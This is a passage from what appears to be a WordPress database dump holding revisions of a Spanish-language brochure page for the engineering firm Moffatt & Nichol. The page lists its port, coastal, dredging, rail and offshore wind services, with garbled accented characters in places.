class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-of-services/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1US.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n</div>\n<span class=\"moreheadlines-newone fr\"></span></div> \n<div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n internacional por proporcionar soluciones innovadoras a la industria portuaria y marÃtima.<br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-and-harbors-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>         \n</div>\n\n<div class=\"brochure-wrapper-two\">\n            \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÃ“N DE GRANELES</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               Moffatt & Nichol, una de las principales firmas de planeamiento e ingenierÃa marÃtimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseÃ±o para terminales e instalaciones de manipulaciÃ³n de materiales a granel.<br /><br /><br /><br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n              </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n              \n              <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-4.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">COMERCIAL</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras inigualables habilidades <br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/commercial-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n          </div>\n          \n<div class=\"brochure-wrapper-two\">\n            \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-5.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">AUTOMATIZACIÃ“N PORTUARIA</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               Con dÃ©cadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marÃtimas de todo el mundo, Moffatt & Nichol es reconocido como un lÃder e innovador en el planeamiento y diseÃ±o de puertos, terminales marÃtimas,<br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n              </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n              \n              <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-6.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SEGURIDAD PORTUARIA</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               Con mÃ¡s de 60 aÃ±os de experiencia, Moffatt & Nichol es un lÃder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marÃtima. De acuerdo con Seguridad Nacional \n<br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n          </div> \n                  \n<div class=\"brochure-wrapper-two\">\n            \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n              El prestigio de Moffatt & Nichol de excelencia en ambientes de frentes costeros fue desarrollado a lo largo de aÃ±os de experiencia con estimulantes proyectos. Hoy, la firma ofrece a sus clientes un personal profesional y experto de ingenieros, planificadores, y <br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n              \n              <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados de ingenierÃa y gestiÃ³n de la construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros, bocas de entrada y vÃas navegables interiores.<br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n          </div> \n          \n<div class=\"brochure-wrapper-two\">\n            \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n              Moffatt & Nichol se ha especializado en el planeamiento y diseÃ±o de grandes proyectos de obras civiles, que incluyen instalaciones ferroviarias para clientes en NorteamÃ©rica, Europa,<br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n              \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES FLUVIALES Y MANIPULACIÃ“N DE GRANELES</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               Los sistemas fluviales de Estados Unidos conectan el centro del paÃs con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento <br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n          </div> \n          \n<div class=\"brochure-wrapper-two\">\n            \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">AUMENTO DEL NIVEL DEL MAR  </span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n              Este documento presenta una discusiÃ³n sobre el estado de la ciencia en relaciÃ³n con el Aumento del Nivel del Mar (SLR, por sus siglas en inglÃ©s), la base lÃ³gica y la necesidad de tratarlo, asÃ como una metodologÃa para determinar los impactos del SLR en el frente costero<br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n              \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               Los frentes costeros de hoy son catalizadores de la actividad econÃ³mica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableciÃ³ en la dÃ©cada de 1960, a medida que la navegaciÃ³n de recreo aumentaba <br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONT.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n          </div>\n       \n<div class=\"brochure-wrapper-two\">\n            \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n              Como una de las mayores firmas internacionales de ingenierÃa y consultorÃa marÃtimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en<br /><br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n              \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DISEÃ‘O DE PLATAFORMAS DE SUBESTACIONES ELÃ‰CTRICAS COSTA AFUERA</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               La experiencia profesional en ingenierÃa marÃtima/de costa afuera y la comprensiÃ³n de las necesidades de los parques eÃ³licos costa afuera de Moffatt & Nichol proporciona <br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n          </div>\n\n<div class=\"brochure-wrapper-two\">\n            \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">GESTIÃ“N DE PROGRAMAS DE PARQUES EÃ“LICOS COSTA AFUERA </span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n              El desarrollo eÃ³lico costa afuera crea muchos desafÃos para los desarrolladores. La industria y las regulaciones estÃ¡n en cambio constantemente. Las percepciones <br /><br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n              \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS DE ACCESO A PARQUES EÃ“LICOS COSTA AFUERA </span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               Moffatt & Nichol es la firma principal de planeamiento y diseÃ±o para el desarrollo de puertos y terminales marÃtimas en NorteamÃ©rica y es <br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n          </div> \n          \n<div class=\"brochure-wrapper-two\">\n            \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DISEÃ‘O DE LA SUBESTRUCTURA DE<br /> GENERADOR DE TURBINA EÃ“LICA (WTG) COSTA AFUERA</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n              Moffatt & Nichol aporta las capacidades y experiencia para diseÃ±ar subestructuras optimizadas costa afuera para apoyar el desarrollo de parques eÃ³licos costa afuera, incluyendo generadores de turbina eÃ³lica <br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n              \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS CONSULTIVOS <br />COMERCIALES DE PARQUES EÃ“LICOS </span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de<br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n          </div> \n          \n<div class=\"brochure-wrapper-two\">\n            \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÃ“N GENERAL DE ENERGÃA EÃ“LICA</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n              Moffatt & Nichol estÃ¡ posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafÃos de proyectos de desarrollo de energÃa eÃ³lica, tanto en tierra como costa afuera. Combinamos nuestro <br /><br /><br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n              \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-1.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">InspecciÃ³n y<br /> rehabilitaciÃ³n</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               Moffatt & Nichol, expertos con reconocimiento internacional en ingenierÃa y diseÃ±o estructural de frentes costeros, proporciona a sus clientes servicios de ingenierÃa orientados hacia la prolongaciÃ³n de la vida de servicio<br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION%20REHAB.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n          </div>        \n                            \n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','boletÃn de noticias','','inherit','open','open','','310-revision','','','2011-10-24 09:40:20','2011-10-24 09:40:20','',310,'http://moffattnichol.com/spanish/310-revision/',0,'revision','',0),(2528,1,'2012-06-15 10:16:26','2012-06-15 10:16:26','<div class=\"content_faq\">\r\n\r\n<div class=\"brochure-wrapper-new\">\r\n<h3>folletos- norteamérica</h3><br />\r\n<div class=\"brochure-one-leftpart\">\r\n<div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n<div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\nMoffatt & Nichol es un importante consultor de infraestructura a nivel global con base en Estados Unidos, que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.<br />\r\n<div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-of-services/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1US.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n</div>\r\n<span class=\"moreheadlines-newone fr\"></span></div> \r\n<div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\nComo una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. La firma tiene una reputación internacional por proporcionar soluciones innovadoras a la industria portuaria y marítima.<br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-and-harbors-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>         \r\n</div>\r\n\r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Moffatt & Nichol, una de las principales firmas de planeamiento e ingeniería marítimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel.<br /><br /><br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-4.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">COMERCIAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras inigualables habilidades <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/commercial-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-5.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">AUTOMATIZACIÓN PORTUARIA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Con décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas de todo el mundo, Moffatt & Nichol es reconocido como un líder e innovador en el planeamiento y diseño de puertos, terminales marítimas,<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-6.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SEGURIDAD PORTUARIA</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n               Con más de 60 años de experiencia, Moffatt & Nichol es un líder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marítima. De acuerdo con Seguridad Nacional  \r\n<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n                  \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n              El prestigio de Moffatt & Nichol de excelencia en ambientes de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos. Hoy, la firma ofrece a sus clientes un personal profesional y experto de ingenieros, planificadores, y <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Moffatt & Nichol, líder en ingeniería costera, está a la vanguardia de los servicios especializados de ingeniería y gestión de la construcción para proyectos de dragado en mar abierto, puertos, humedales costeros, bocas de entrada y vías navegables interiores.<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n              Moffatt & Nichol se ha especializado en el planeamiento y diseÃ±o de 